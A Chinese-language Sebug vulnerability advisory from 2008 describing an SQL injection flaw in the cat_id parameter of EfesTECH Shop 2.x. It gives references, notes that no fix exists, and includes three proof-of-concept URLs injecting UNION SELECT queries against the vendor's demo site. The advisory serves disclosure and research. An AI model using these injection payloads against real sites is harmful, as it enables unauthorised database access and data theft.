EfesTECH Shop "cat_id" SQL注入漏洞

发布时间(Published):2008-07-02

SBEUGID:SEBUG-20080713536

影响版本(Vulnerable):

EfesTECH Shop 2.x

漏洞描述(Discription):

BUGTRAQ ID:
CNCAN ID：CNCAN-2008070303

EfesTECH Shop是一款基于ASP的WEB应用程序。
EfesTECH Shop不正确处理用户提交的输入，远程攻击者可以利用漏洞进行SQL注入攻击，可能获得敏感信息或操作数据库。
问题是'default.asp'脚本对用户提交给'cat_id'参数缺少过滤，构建恶意SQL查询作为参数数据，可更改原来的SQL逻辑，获得敏感信息或操作数据库。

<* 参考(References)

http://secunia.com/advisories/30896/

SEBUG安全建议(solution):

目前没有详细解决方案提供：
http://www.aspindir.com/Goster/5479

测试方法(Exploit):

[www.sebug.net]
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

http://www.efestech.com/demo/shop/?cmd=urunler&cat_id=30+union+select+0+from+ayarlar

http://www.efestech.com/demo/shop/?cmd=urunler&cat_id=30+union+select+0+from+eng

http://www.efestech.com/demo/shop/?cmd=urunler&cat_id=30+u

// Sebug.net [ 2008-07-03 ]